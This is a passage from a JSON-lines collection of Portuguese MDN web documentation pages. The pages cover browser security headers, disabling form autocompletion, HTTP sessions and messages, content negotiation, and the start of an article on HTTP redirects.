seu site de ser usado impropriamente; além disso, você pode usá-lo para estabelecer recursos que outros sites são expressamente permitidos de usar.\n\nPolítica de Segurança de Conteúdo\n\nUma camada de segurança adicionada que ajuda a detectar e evitar certos tipos de ataques, incluindo *Cross Site Scripting* (XSS) e ataques de injeção de dados. Esses ataques são usado para tudo, desde roubo de dados até desfiguração de página ou distribuição de malware.\n\nO cabeçalho de resposta X-FRAME-OPTIONS (en-US)\n\nO cabeçalho de resposta HTTP `X-Frame-Options:` pode ser usado para indicar se um navegador deve ser autorizado a renderizar uma página ou não em um elemento `<frame>` (en-US). Sites podem usar isso para evitar ataques do tipo *clickjacking*, garantindo que seus conteúdos não estão embutidos em outros sites.\n\nDeixando seu site seguro usando o Htaccess\n\nAprenda a melhor maneira e quase todos os truques para deixar seu site seguro usando o arquivo .htaccess. Você pode colocar endereços IPs em *blacklists*, restringir o acesso a certas áreas do website, proteger diferentes arquivos, proteger contra *hotlink* de imagens e muito mais.\n\nVeja também\n-----------\n\n* Projeto Open Web Application Security (OWASP)"}
{"title":"How to Turn Off Form Autocompletion - Segurança Web","text":"How to Turn Off Form Autocompletion\n===================================\n\nEste artigo explica como um Site da Web pode desabilitar a função autocompletar de campos de formulário.\n\nPor padrão, navegadores lembram da informação que o usuário envia através de campos de formulário em Sites da Web. Isto habilita o navegador a oferecer termos para autocompletar (ao usuário iniciar a digitação o navegador oferece sugestões para campos que o usuário tenha iniciado a digitação) ou auto preenchimento (o navegador pré popula os campos ao carregar a página.\n\nEstas funcionalidades de autocompletar podem gerar para os usuários preocupações quanto à privacidade. Por isso os navegadores permitem aos usuários que desabilitem essas funcionalidades, embora, por padrão, elas estejam habilitadas. Entretanto, alguns dados enviados em formulários não serão úteis no futuro (um número PIN, por exemplo), ou mesmo contém informações sensíveis (um número de documento ou um código de segurança de cartão de crédito, por exemplo). Um website deverá preferir que o navegador não se lembre de valores para estes tipos de campos, mesmo que a funcionalidade de autocompletar dos navegadores esteja ativa.\n\nDesabilitando o auto completar\n------------------------------\n\nPara desabilitar o auto completar nos formulários, o Web Site precisa setar o atributo `autocomplete` para \"off\":\n\n\n```html\nautocomplete=\"off\"\n```\n\n\nO site pode fazer isso para um formulário inteiro ou para elementos input especificos do formulário:\n\n\n```html\n<form method=\"post\" action=\"/form\" autocomplete=\"off\">[...]</form>\n```\n\n\n\n```html\n<form method=\"post\" action=\"/form\">\n  [...]\n  <div>\n    <label for=\"cc\">Credit card:</label>\n    <input type=\"text\" id=\"cc\" name=\"cc\" autocomplete=\"off\" />\n  </div>\n</form>\n```\n\n\nO atributo `autocomplete=\"off\"` tem dois efeitos:\n\n* Dirá para o navegador parar de salvar dados inseridos pelo usuário em formulários para um futuro *autocomplete* (Isso varia de navegador para navegador).\n* Isso fará o navegador parar de fazer caching dos dados do formulário na *session history* do navegador. Quando um dado é armazenado no *cache* no *session history*, os dados preenchidos pelo usuário serão mostrados para ele no caso dele submeter o formulário e clicar no botão Voltar e retornar à página original do formulário.\nO atributo autocomplete e campos de login\n-----------------------------------------\n\nNavegadores modernos implementam gerenciamento de senhas integrado: quando o usuário preenche um usuário e senha para um site, o navegador se oferece para lembrar dos dados para o usuário. Quando o usuário visita o site novamente, o navegador preenche os campos de login automaticamente conforme os valores salvos por ele..\n\nOs navegadores também permitem ao usuário selecionar uma senha mestra para que os dados salvos sejam criptografados.\n\nMesmo sem uma senha mestra, o gerenciamento de senhas dentro do navegador é geralmente vista como um ganho de segurança. Como os usuários não precisam se lembrar das senhas que o navegador salva para eles, eles podem escolher senhas mais fortes do que geralmente escolheriam.\n\nPor esta razão, muitos navegadores modernos não suportam `autocomplete=\"off\"` para campos de login.\n\n* se um site utiliza `autocomplete=\"off\"` para um `form` (en-US), e o formulário inclui campos de usuário e senha, então o navegador ainda assim se oferece para salvar os dados de login, e se o usuário aceitar, o navegador vai preencher estes dados automaticamente na próxima vez que o usuário visita a página.\n* se um site utiliza `autocomplete=\"off\"` para campos `input de usuário e senha` , então o navegador ainda assim se oferece para salvar os dados de login, e se o usuário aceitar, o navegador vai preencher estes dados automaticamente na próxima vez que o usuário visitar a página.\n\nEste comportamento existe no Firefox (desde a versão 38), Google Chrome (desde a versão 34), e Internet Explorer (desde a versão 11)."}
{"title":"Uma típica sessão HTTP - HTTP","text":"Uma típica sessão HTTP\n======================\n\nEm protocolos cliente-servidor, como o HTTP, sessões consistem de três partes:\n\n1. O cliente estabelece uma conexão TCP (ou a conexão apropriada caso o protocolo TCP não seja o protocolo usado na camada de transporte).\n2. O cliente envia sua requisição, e então aguarda por uma resposta.\n3. O servidor processa a requisição, enviando de volta sua resposta, fornecendo um \"status code\" (código de status), e os dados apropriados.\n\nNa versão HTTP/1.1 a conexão não é mais fechada após a terceira etapa completar-se, mas é garantida ao cliente uma nova requisição, implicando na possibilidade da segunda e terceira etapa serem novamente realizadas quantas vezes forem desejadas.\n\nEstabelecendo uma conexão\n-------------------------\n\nEm protocolos cliente-servidor é o cliente quem estabelece as conexões. Abrir uma conexão HTTP significa iniciar uma conexão na camada de transporte subjacente, geralmente uma conexão usando o protocolo TCP.\n\n Usando o protocolo TCP, a porta padrão para um servidor HTTP em um computador é a porta 80, porém outras portas podem ser utilizadas, como a 8000 ou 8080.\n A URL da página a se requisitar contém o nome do domínio e o número da porta, embora este último pode ser omitido caso a porta seja a 80. Leia Identificando recursos na Web para mais informações.\n\n**Nota:** O modelo cliente-servidor não permite o servidor enviar dados ao cliente sem uma requisição explícita. Para contornar esse problema, os desenvolvedores Web usam várias técnicas: executar ping no servidor periodicamente por meio das APIs `XMLHTTPRequest`, `Fetch`, usando a WebSockets API ou protocolos semelhantes.\n\nEnviando uma requisição de cliente\n----------------------------------\n\nDepois que a conexão é estabelecida, o *user-agent* pode enviar a solicitação (um *user-agent* normalmente é um navegador Web, podendo ser também qualquer outra coisa, como um *crawler*, por exemplo). Uma solicitação de cliente consiste em diretivas de texto, separadas por quebras de linhas (CRLF), divididas em três blocos:\n\n1. A primeira linha contém um método de requisição seguido por seus parâmetros:\n    * o caminho do documento, ou seja, uma URL absoluta sem o protocolo ou nome de domínio\n    * a versão do protocolo HTTP\n2. As linhas subsequentes representam um cabeçalho HTTP, fornecendo ao servidor informações sobre o tipo de dado apropriado (por exemplo, qual o idioma, quais os tipos MIME) ou outros dados que alteram seu comportamento (por exemplo, não enviando uma resposta se já estiver em cache). Esses cabeçalhos HTTP formam um bloco que termina com uma linha vazia.\n3. O bloco final é um bloco de dados opcional, que pode conter dados adicionais usados principalmente pelo método POST.\n### Exemplos de requisições\n\nBuscando a página raiz do developer.mozilla.org (http://developer.mozilla.org/), e dizendo ao servidor que o *user-agent* preferiria a página em francês, se possível:\n```\n\nGET / HTTP/1.1\nHost: developer.mozilla.org\nAccept-Language: fr\n```\n\n\nObserve que a linha final vazia separa o bloco de dados do bloco de cabeçalho. Como não há nenhum `Content-Length` fornecido em um cabeçalho HTTP, esse bloco de dados é apresentado vazio, marcando o final dos cabeçalhos, permitindo que o servidor processe a solicitação no momento em que recebe essa linha vazia.\n\nPor exemplo, enviando o resultado de um formulário::\n```\n\nPOST /contact_form.php HTTP/1.1\nHost: developer.mozilla.org\nContent-Length: 64\nContent-Type: application/x-www-form-urlencoded\n\nname=Joe%20User&request=Send%20me%20one%20of%20your%20catalogue\n```\n\n### Métodos de requisição\n\nHTTP define um conjunto de métodos de requisição indicando a ação desejada a ser executada em um recurso. Embora eles também possam ser substantivos, essas solicitações são às vezes chamadas de verbos HTTP. As requisições mais comuns são `GET` e `POST`:\n\n* O método `GET` solicita uma representação de dados do recurso especificado. Requisições usando GET só devem retornar dados.\n* O método `POST` envia dados para um servidor para que possa alterar seu estado. Esse é o método geralmente usado para formulários HTML.\nEstrutura de uma resposta do servidor\n-------------------------------------\n\nDepois que o agente conectado envia sua solicitação, esta é processada pelo servidor, que por fim, retorna uma resposta. Semelhante a uma requisição do cliente, uma resposta do servidor é formada por diretivas de texto, separadas por quebras de linhas, embora divididas em três blocos:\n\n1. A primeira linha, a linha de status, consiste em uma confirmação da versão HTTP usada, seguida por uma requisição de status (e seu breve significado em texto legível por humanos).\n2. As linhas subsequentes representam cabeçalhos HTTP específicos, fornecendo ao cliente informações sobre os dados enviados (por exemplo, tipo, tamanho dos dados, algoritmo de compressão usado, dicas sobre armazenamento em cache). Da mesma forma que o bloco de cabeçalhos HTTP para uma requisição do cliente, esses cabeçalhos HTTP formam um bloco que termina com uma linha vazia.\n3. O bloco final é um bloco de dados, que contém os dados opcionais.\n### Exemplo de respostas\n\nResposta de página da web bem-sucedida:\n```\n\nHTTP/1.1 200 OK\nDate: Sat, 09 Oct 2010 14:28:02 GMT\nServer: Apache\nLast-Modified: Tue, 01 Dec 2009 20:18:22 GMT\nETag: \"51142bc1-7449-479b075b2891b\"\nAccept-Ranges: bytes\nContent-Length: 29769\nContent-Type: text/html\n\n<!DOCTYPE html... (aqui vem os 29769 bytes da página web solicitada)\n```\n\n\nNotificação de que o recurso solicitado foi movido permanentemente:\n```\n\nHTTP/1.1 301 Moved Permanently\nServer: Apache/2.2.3 (Red Hat)\nContent-Type: text/html; charset=iso-8859-1\nDate: Sat, 09 Oct 2010 14:30:24 GMT\nLocation: https://developer.mozilla.org/ (this is the new link to the resource; it is expected that the user-agent will fetch it)\nKeep-Alive: timeout=15, max=98\nAccept-Ranges: bytes\nVia: Moz-Cache-zlb05\nConnection: Keep-Alive\nX-Cache-Info: caching\nX-Cache-Info: caching\nContent-Length: 325 (the content contains a default page to display if the user-agent is not able to follow the link)\n\n<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\n<html><head>\n<title>301 Moved Permanently</title>\n</head><body>\n<h1>Moved Permanently</h1>\n<p>The document has moved <a href=\"https://developer.mozilla.org/\">here</a>.</p>\n<hr>\n<address>Apache/2.2.3 (Red Hat) Server at developer.mozilla.org Port 80</address>\n</body></html>\n```\n\n\nNotificação de que o recurso solicitado não existe:\n```\n\nHTTP/1.1 404 Not Found\nDate: Sat, 09 Oct 2010 14:33:02 GMT\nServer: Apache\nLast-Modified: Tue, 01 May 2007 14:24:39 GMT\nETag: \"499fd34e-29ec-42f695ca96761;48fe7523cfcc1\"\nAccept-Ranges: bytes\nContent-Length: 10732\nContent-Type: text/html\n\n<!DOCTYPE html... (contém uma página customizada do site ajudando o usuário a localizar o recurso ausente)\n```\n\n### Códigos de status de resposta\n\nCódigos de status de respostas HTTP (HTTP *response status codes*) indicam se uma requisição HTTP específica foi concluída com sucesso. As respostas são agrupadas em cinco classes: respostas informativas, respostas bem-sucedidas, redirecionamentos, erros de clientes e erros de servidores.\n\n* `200`: *OK*. A requisição foi bem sucedida.\n* `301`: *Moved Permanently*. Esse código de resposta significa que o URI do recurso solicitado foi alterado.\n* `404`: *Not Found*. O servidor não pode encontrar o recurso solicitado.\nVeja também\n-----------\n\n* Identificando recursos na web\n* Cabeçalhos HTTP\n* Métodos de requisição HTTP\n* HTTP response status codes"}
{"title":"Negociação de conteúdo - HTTP","text":"Negociação de conteúdo\n======================\n\nNo HTTP, ***negociação de conteúdo*** é o mecanismo que é usado para servir diferentesrepresentações de um recurso no mesmo URI, de forma que o agente do usuáriopossa especificar qual é a melhor representação adequada ao usuário(por exemplo, qual idioma de um documento, qual formato de imagem ouqual codificação de conteúdo)Princípios da negociação do conteúdo\n------------------------------------\n\nUm documento específico é denominado *recurso*. Quando um cliente quer obtê-lo, ele o requisita usando sua URL. O servidor usa esta URL para escolherum das variantes que ele provê - cada variante sendo chamada de *representação* - e retorna essa representação específica para o cliente. O recurso de forma geral, bem como suas representações, têm uma URL específica. Como uma representação específica é escolhida quando um recurso é chamado é determinado pela *negociação de conteúdo* e existem algumas maneiras de negociar entre entre o cliente e o servidor.\n\n![](/pt-BR/docs/Web/HTTP/Content_negotiation/httpnego.png)\n\nA determinação da representação mais adequada é feita através de um dos dois mecanismos:\n\n* Cabeçalhos HTTP específicos pelo cliente (*negociação com base no servidor* ou *negociação pró-ativa*)\n* Os códigos de resposta do servidor {HTTPStatus(\"300\")}} (Múltiplas escolhas) or `406` (Não aceitável) (*negociação baseada no agente* ou *negociação reativa*), que são usados como mecanimos de reserva (*fallback*).\n\nAo longo dos anos, outras propostas de negociação de conteúdo, como *negociação de conteúdo transparente* e o cabeçalho `Alternates` foram propostas. Elas falharam em ganhar apoio e foram abandonadas.\n\nNegociação baseada no servidor\n------------------------------\n\nNa *negociação baseada no servidor*, ou negociação proativa, o navegador (ou outro tipo de agente do usuário) envia diversos cabeçalhos HTTP junto com a URL. Estes cabeçalhos descrevem a escolha preferida do usuário. O servidor usa-os como sugestões e um algoritmo intero escolhe o melhor conteúdo para ser servido ao usuário. O algoritmo é específico para cada servidor e não é definido no padrão. Veja, por-exemplo, o algoritmo de negociação do Apache 2.2.\n\n![](/pt-BR/docs/Web/HTTP/Content_negotiation/httpnegoserver.png)\n\nO padrão HTTP/1.1 define uma lista de cabeçalhos-padrão que iniciam a negociação baseada no servidor (`Accept`, `Accept-Charset`, `Accept-Encoding`, `Accept-Language`). Apesar do `User-Agent` não estar formalmente na lista, ele é, às vezes, também usado para enviar uma representação específica do recurso requisitado, apesar disso não ser considerado uma boa prática. O servidor usa o cabeçalho `Vary` para indicar quais cebeçalhos de fato foram usados na negociação do conteúdo (ou, mais precisamente, nos cabeçahos de resposta associados), de forma que caches possam funcionar de forma otimizada.\n\nAlém desses, existe uma proposta experimental para adicionar mais cabeçalhos à lista dos disponíveis, as chamadas *sugestões do cliente*. Sugestões do cliente indicam qual é o tipo do dispositivo em que o agente do usuário roda (por-exemplo, se é um computador de mesa ou um dispositivo móvel).\n\nMesmo sendo a negociação com base no servidor a forma mais comum de concordar com uma representação específica de um recurso, ela ainda assim tem algumas desvantagens:\n\n* O servidor não tem conhecimento total sobre o navegador. Mesmo com a extensão das Sugestões do cliente, o servidor continua sem saber completamente quais são as capacidades do navegador. Diferente da negociação de conteúdo reativa, onde o cliente faz uma escolha, a escolha do servidor é, até certo ponto, arbitrária.\n* A informação do cliente é bastante verbosa (a compressão de cabeçalhos do HTTP/2 mitiga este problema) e um risco à privacidade (impressão digital HTTP).\n* Como diversas representações de um recurso são enviadas, caches compartilhados são menos eficiantes e, implementações de servidor, mais complexas.\n### The `Accept` header\n\nThe `Accept` header lists the MIME types of media resources that the agent is willing to process. It is comma-separated lists of MIME types, each combined with a quality factor, a parameter indicating the relative degree of preference between the different MIME types.\n\nThe `Accept` header is defined by the browser, or any other user-agent, and can vary according to the context, like fetching an HTML page or an image, a video, or a script: It is different when fetching a document entered in the address bar or an element linked via an `<img>`, `<video>` or `<audio>` element. Browsers are free to use the value of the header that they think is the most adequate; an exhaustive list of default values for common browsers is available.\n\n### The `Accept-CH` header \nExperimental\n\n**Nota:** This is part of an **experimental** technology called *Client Hints*. Initial support is in Chrome 46 or later. The Device-Memory value is in Chrome 61 or later.\n\nThe experimental `Accept-CH` lists configuration data that can be used by the server to select an appropriate response. Valid values are:\n\n| Value | Meaning |\n| --- | --- |\n| `Device-Memory` | Indicates the approximate amount of device RAM. This value is an approximation given by rounding to the nearest power of 2 and dividing that number by 1024. For example, 512 megabytes will be reported as `0.5`. |\n| `DPR` | Indicates the client's device pixel ratio. |\n| `Viewport-Width` | Indicates the layout viewport width in CSS pixels. |\n| `Width` | Indicates the resource width in physical pixels (in other words the intrinsic size of an image). |\n\n### The `Accept-Charset` header\n\nThe `Accept-Charset` header indicates to the server what kinds of character encodings are understood by the user-agent. Traditionally, it was set to a different value for each locale for the browser, like `ISO-8859-1,utf-8;q=0.7,*;q=0.7` for a Western European locale.\n\nWith UTF-8 now being well-supported, being the preferred way of encoding characters, and to guarantee better privacy through less configuration-based entropy, browsers omit the `Accept-Charset` header: Internet Explorer 8, Safari 5, Opera 11, Firefox 10 and Chrome 27 have abandoned this header.\n\n### The `Accept-CH-Lifetime` header\n\n**Nota:** This is part of an **experimental** technology called *Client Hints* and is only available in Chrome 61 or later.\n\nThe `Accept-CH-Lifetime` header is used with the `Device-Memory` value of the `Accept-CH` header and indicates the amount of time the device should opt-in to sharing the amount of device memory with the server. The value is given in miliseconds and it's use is optional.\n\n### The `Accept-Encoding` header\n\nThe `Accept-Encoding` header defines the acceptable content-encoding (supported compressions). The value is a q-factor list (e.g.: `br, gzip;q=0.8`) that indicates the priority of the encoding values. The default value `identity` is at the lowest priority (unless otherwise declared).\n\nCompressing HTTP messages is one of the most important ways to improve the performance of a Web site, it shrinks the size of the data transmitted and makes better use of the available bandwidth; browsers always send this header and the server should be configured to abide to it and to use compression.\n\n### The `Accept-Language` header\n\nThe `Accept-Language` header is used to indicate the language preference of the user. It is a list of values with quality factors (like: `\"de, en;q=0.7`\"). A default value is often set according the language of the graphical interface of the user agent, but most browsers allow to set different language preferences.\n\nDue to the configuration-based entropy increase, a modified value can be used to fingerprint the user, it is not recommended to change it and a Web site cannot trust this value to reflect the actual wish of the user. Site designers must not be over-zealous by using language detection via this header as it can lead to a poor user experience:\n\n* They should always provide a way to overcome the server-chosen language, e.g., by providing a language menu on the site. Most user-agents provide a default value for the `Accept-Language` header, adapted to the user interface language and end users often do not modify it, either by not knowing how, or by not being able to do it, as in an Internet café for instance.\n* Once a user has overridden the server-chosen language, a site should no longer use language detection and should stick with the explicitly-chosen language. In other words, only entry pages of a site should select the proper language using this header.\n### The `User-Agent` header\n\n**Nota:** Though there are legitimate uses of this header for selecting content, it is considered bad practice (en-US) to rely on it to define what features are supported by the user agent.\n\nThe `User-Agent` header identifies the browser sending the request. This string may contain a space-separated list of *product tokens* and *comments*.\n\nA *product token* is a name followed by a '`/`' and a version number, like `Firefox/4.0.1`. There may be as many of them as the user-agent wants. A *comment* is a free string delimited by parentheses. Obviously parentheses cannot be used in that string. The inner format of a comment is not defined by the standard, though several browser put several tokens in it, separated by '`;`'.\n\n### The `Vary` response header\n\nIn opposition to the previous `Accept-*` headers which are sent by the client, the `Vary` HTTP header is sent by the web server in its response. It indicates the list of headers used by the server during the server-driven content negotiation phase. The header is needed in order to inform the cache of the decision criteria so that it can reproduce it, allowing the cache to be functional while preventing serving erroneous content to the user.\n\nThe special value of '`*`' means that the server-driven content negotiation also uses information not conveyed in a header to choose the appropriate content.\n\nThe `Vary` header was added in the version 1.1 of HTTP and is necessary in order to allow caches to work appropriately. A cache, in order to work with server-driven content negotiation, needs to know which criteria was used by the server to select the transmitted content. That way, the cache can replay the algorithm and will be able to serve acceptable content directly, without more request to the server. Obviously, the wildcard '`*`' prevents caching from occurring, as the cache cannot know what element is behind it.\n\nAgent-driven negotiation\n------------------------\n\nServer-driven negotiation suffers from a few downsides: it doesn't scale well. There is one header per feature used in the negotiation. If you want to use screen size, resolution or other dimensions, a new HTTP header must be created. Sending of the headers must be done on every request. This is not too problematic with few headers, but with the eventual multiplications of them, the message size would lead to a decrease in performance. The more precise headers are sent, the more entropy is sent, allowing for more HTTP fingerprinting and corresponding privacy concern.\n\nFrom the beginnings of HTTP, the protocol allowed another negotiation type: *agent-driven negotiation* or *reactive negotiation*. In this negotiation, when facing an ambiguous request, the server sends back a page containing links to the available alternative resources. The user is presented the resources and choose the one to use.\n\n![](/pt-BR/docs/Web/HTTP/Content_negotiation/httpnego3.png)\n\nUnfortunately, the HTTP standard does not specify the format of the page allowing to choose between the available resource, which prevents to easily automatize the process. Besides falling back to the *server-driven negotiation*, this method is almost always used in conjunction with scripting, especially with JavaScript redirection: after having checked for the negotiation criteria, the script performs the redirection. A second problem is that one more request is needed in order to fetch the real resource, slowing the availability of the resource to the user."}
{"title":"Mensagens HTTP - HTTP","text":"Mensagens HTTP\n==============\n\nDados são trocados entre servidor e cliente por meio de mensagens HTTP. Há dois tipos de mensagens: *requisições* (requests) enviadas pelo cliente para disparar uma ação no servidor, e *respostas* (responses), a réplica do servidor.\n\nMensagens HTTP são compostas de informação textual codificada em ASCII, e se espalham por multiplas linhas. Em HTTP/1.1, e versões anteriores do protocolo, estas mensagens eram abertamente enviadas através da conexão. Em HTTP/2, a mensagem antes legível por humanos é agora dividida em quadros HTTP, resultando em otimização e melhora de desempenho.\n\nDesenvolvedores Web, ou webmasters, raramente lidam com essas mensagens textuais diretamente: um programa, um navegador, um proxy, ou um servidor Web, executam essa ação. Eles proveem mensagens HTTP por meio de arquivos de configuração (para proxys ou servidores), APIs (para navegadores) ou outras interfaces.\n\n![From a user-, script-, or server- generated event, an HTTP/1.x msg is generated, and if HTTP/2 is in use, it is binary framed into an HTTP/2 stream, then sent.](/pt-BR/docs/Web/HTTP/Messages/httpmsg2.png)\n\nO mecanismo de enquadramento binário foi projetado de modo a não requerer qualquer alteração das APIs ou arquivos de configuração aplicados: ele é transparente para o usuário.\n\nRequisições e respostas HTTP compartilham estrutura similar e são compostas de:\n\n1. Uma *linha inicial* (*start-line)* que descreve as requisições a serem implementadas, ou seu status de sucesso ou falha. Esta linha inicial é sempre uma única.\n2. Um conjunto opcional de cabeçalhos HTTP especificando a requisição, ou descrevendo o corpo incluso na mensagem.\n3. Uma linha em branco (*empty line*) indicando que toda meta-informação para a requisição já foi enviada.\n4. Um *corpo* (*body*) contendo dados associados à requisição (como o conteúdo de um formulário HTML), ou o documento associado à resposta. A presença do corpo e seu tamanho são especificados pela linha inicial e os cabeçalhos HTTP.\n\nA linha inicial e os cabeçalhos HTTP da mensagem HTTP são conjuntamente chamados de *cabeça* (*head*) da requisição, enquanto o que ela carrega, a sua carga, é conhecida como corpo.\n\n![Requests and responses share a common structure in HTTP](/pt-BR/docs/Web/HTTP/Messages/httpmsgstructure2.png)\n\nRequisições HTTP\n----------------\n\n### Linha inicial\n\nRequisições HTTP são mensagens enviadas pelo cliente para iniciar uma ação no servidor. Suas linhas iniciais contêm três elementos:\n\n1. Um *método HTTP*, um verbo (como `GET`, `PUT` ou `POST`) ou um nome (como `HEAD` ou `OPTIONS`), que descrevem a ação a ser executada. Por exemplo, `GET` indica que um recurso deve ser obtido ou `POST` significa que dados são inseridos no servidor (criando ou modificando um recurso, ou gerando um documento temporário para mandar de volta).\n2. O *alvo da requisição*, normalmente um URL, ou o caminho absoluto do protocolo, porta e domínio são em geral caracterizados pelo contexto da requisição. O formato deste alvo varia conforme o método HTTP. Pode ser\n    * Um caminho absoluto, seguido de um `'?'` e o texto da consulta. Esta é a forma mais comum, conhecida como a *forma original*, e é usada com os métodos `GET`, `POST`, `HEAD`, e `OPTIONS`.\n     `POST / HTTP/1.1 GET /background.png HTTP/1.0 HEAD /test.html?query=alibaba HTTP/1.1 OPTIONS /anypage.html HTTP/1.0`\n    * Uma URL completa, conhecida como a *forma absoluta*, usada principalmente com `GET` quando conectado a um proxy.\n     `GET http://developer.mozilla.org/pt-BR/docs/Web/HTTP/Messages HTTP/1.1`\n    * O componente autoridade de um URL, que consiste no nome do domínio e opcionalmente uma porta (prefixada por `':'`), chamada de *forma autoridade*. Só usada com `CONNECT` ao estabelecer um túnel HTTP.\n     `CONNECT developer.mozilla.org:80 HTTP/1.1`\n    * A *forma asterisco*, um simples asterisco (`'*'`), usada com `OPTIONS`. Representa o servidor como um todo.\n     `OPTIONS * HTTP/1.1`\n3. A *versão HTTP*, que define a estrutura do restante da mensagem, atuando como um indicador da versão esperada para uso na resposta.\n### Cabeçalhos\n\nCabeçalhos HTTP de uma requisição seguem a mesma estrutura básica de um cabeçalho HTTP: uma cadeia de caracteres insensível à caixa seguida de dois pontos (`':'`) e um valor cuja estrutura depende do cabeçalho. O cabeçalho inteiro, incluindo o valor, consiste em uma única linha, que pode ser bem grande.\n\nHá numerosos cabeçalhos de requisição disponíveis. Eles podem ser divididos em vários grupos:\n\n* *Cabeçalhos gerais*, como `Via`, se aplicam à mensagem como um todo.\n* *Cabeçalhos de requisição*, como `User-Agent`, `Accept-Type`, modificam a requisição, especificando-a mais (como `Accept-Language`), dando-a contexto (como `Referer`), ou restringindo-a condicionalmente (como `If-None`).\n* *Cabeçalhos de entidade*, como `Content-Length` que se aplicam ao corpo da mensagem. Obviamente este cabeçalho não será transmitido se não houver corpo na requisição.\n\n![Example of headers in an HTTP request](/pt-BR/docs/Web/HTTP/Messages/http_request_headers2.png)\n\n### Corpo\n\nA parte final da requisição é o corpo. Nem todas as requisições tem um: as que pegam recursos, como `GET`, `HEAD`, DELETE, ou OPTIONS, usualmente não precisam de um. Algumas requisições enviam dados ao servidor a fim de atualizá-lo: é o caso frequente de requisições `POST` (contendo dados de formulário HTML).\n\nCorpos podem ser divididos, a grosso modo, em duas categorias:\n\n* Corpos de recurso-simples, consistindo em um único arquivo, definido pelos dois cabeçalhos: `Content-Type` e `Content-Length`.\n* Corpos de recurso-múltiplo, consistindo em um corpo de múltiplas partes, cada uma contendo uma porção diferente de informação. Este é tipicamente associado à Formulários HTML.\nRespostas HTTP\n--------------\n\n### Linha de status\n\nA linha inicial de uma resposta HTTP, chamada de *linha de status*, contém a seguinte informação:\n\n1. A versão do *protocolo*, normalmente `HTTP/1.1`.\n2. Um *código de status*, indicando o sucesso ou falha da requisição. Códigos de status comuns são `200`, `404`, ou `302`\n3. Um texto de status. Uma descrição textual breve, puramente informativa, do código de status a fim de auxiliar o entendimento da mensagem HTTP por humanos.\n\nUma linha de status típica se parece com: `HTTP/1.1 404 Not Found.`\n\n### Cabeçalhos\n\nCabeçalhos HTTP para respostas seguem a mesma estrutura de qualquer outro cabeçalho: uma cadeia de caracteres insensível à caixa seguida de dois pontos (`':'`) e um valor cuja estrutura depende do tipo de cabeçalho. O cabeçalho inteiro, incluindo o valor, consiste em uma única linha.\n\nHá numerosos cabeçalhos de resposta disponíveis. Eles podem ser divididos em vários grupos:\n\n* *Cabeçalhos gerais*, como `Via`, aplicam-se à toda mensagem.\n* *Cabeçalhos de resposta*, como `Vary` e `Accept-Ranges`, dão informação adicional sobre o servidor, que não cabe na linha de status.\n* *Cabeçalhos de entidade*, como `Content-Length`, aplicam-se ao corpo da resposta. Obviamente este cabeçalho não será transmitido se não houver corpo na resposta.\n\n![Example of headers in an HTTP response](/pt-BR/docs/Web/HTTP/Messages/http_response_headers2.png)\n\n### Corpo\n\nA última parte de uma resposta é o corpo. Nem toda resposta tem um: aquelas com código de status `201` ou `204` normalmente não tem.\n\nCorpos podem ser divididos, a grosso modo, em três categorias:\n\n* Corpos de recurso simples que consistem em um único arquivo de tamanho conhecido, definido pelos dois cabeçalhos: `Content-Type` e `Content-Length`.\n* Corpos de recurso simples que consistem em um único arquivo de tamanho desconhecido, codificado aos pedaços com `Transfer-Encoding` ajustado para `chunked`.\n* Corpos de recurso múltiplo, que consiste em um corpo com múltiplas partes, cada uma contendo diferentes seções de informação. Estes são relativamente raros.\nQuadros HTTP/2\n--------------\n\nMensagens HTTP/1.x têm algumas desvantagens quanto ao desempenho:\n\n* Os cabeçalhos, ao contrário dos corpos, não são compactados.\n* Cabeçalhos com frequência são similares entre uma mensagem e a seguinte, ainda assim são repetidos entre conexões.\n* Nenhuma multiplexação pode ser feita. É necessário abrir várias conexões no mesmo servidor: e conexões TCP quentes são mais eficientes que frias.\n\nHTTP/2 introduz um passo extra: ele divide mensagens HTTP/1.x em quadros que são embutidos em um fluxo. Quadros de dados e de cabeçalho são separados, isto permite a compressão do cabeçalho. Muitos fluxos podem ser conjugados, um processo chamado de multiplexação, permitindo mais eficiência nas conexões TCP subjacentes.\n\n![HTTP/2 modify the HTTP message to divide them in frames (part of a single stream), allowing for more optimization.](/pt-BR/docs/Web/HTTP/Messages/binary_framing2.png)\n```\n\nConnection\n```\n\n\nQuadros HTTP agora são transparentes aos desenvolvedores web. Isso é um passo adicional no HTTP/2, entre mensagens HTTP/1.1 e o protocolo de transporte subjacente. Nenhuma mudança é necessária nas API usadas pelo desenvolvedor web para utilizar quadros; quando disponível tanto no navegador quanto no servidor, HTTP/2 é ativado e usado.\n\nConclusão\n---------\n\nMensagens HTTP são a chave ao usar HTTP; sua estrutura é simples e elas são altamente extensíveis. O mecanismo de enquadramento do HTTP/2 adiciona uma nova camada intermediária entre a sintaxe HTTP/1.x e o protocolo de transporte subjacente, sem modificá-lo fundamentalmente: construído sobre mecanismos provados."}
{"title":"Redirecionamentos em HTTP - HTTP","text":"Redirecionamentos em HTTP\n=========================\n\nRedirecionamento de URL, também conhecido como encaminhamento de URL, é uma técnica que à uma página, formulário ou uma aplicação web inteira, mais de um endereço de URL. HTTP fornece uma espécie especial de respostas, ***HTTP redirects***, executar esta operação é utilizada para vários objetivos: redirecionamento temporário enquanto está sendo feita a manutenção do web site, redirecionamento permanente para manter links externos funcionando após alterações na arquitetura do web site, páginas de progresso enquanto é feito o envio de um arquivo, e assim por diante.\n\nPrincípio\n---------\n\nEm HTTP, um redirecionamento é acionado pelo servidor enviando respostas especiais para uma solicitação: *redirects*. Os redirecionamentos HTTP são respostas com um código de status de 3xx. Um navegador, ao receber uma resposta de redirecionamento, usa o novo URL fornecido e carrega-o imediatamente: a maior parte do tempo, o redirecionamento é transparente para o usuário, além de um pequeno desempenho.\n\n![](/pt-BR/docs/Web/HTTP/Redirections/httpredirect.png)\n\nExistem vários tipos de redirecionamentos e eles se enquadram em três categorias: redirecionamentos permanentes, temporários e especiais.\n\n### Redirecionamentos permanentes\n\nEstes redirecionamentos devem durar permanentemente. Eles implicam que o URL original não deve mais ser usado e que o novo é preferido. Os robôs dos mecanismos de pesquisa desencadeiam uma atualização do URL associado para o recurso em seus índices.\n\n| Code | Text | Method handling | Typical use case |\n| --- | --- | --- | --- |\n| `301` | `Movido permanentemente` | `GET` métodos inalterados. Outros podem ou não serem alterados para `GET`.[1] | Reorganização de um web site. |\n| `308` | `Permanentemente redirecionado` | Método e corpo não alterados | Reorganização de um web site, com não-GET links/operações. |\n\n[1]A especificação não tinha intenção de permitir mudanças de método, mas 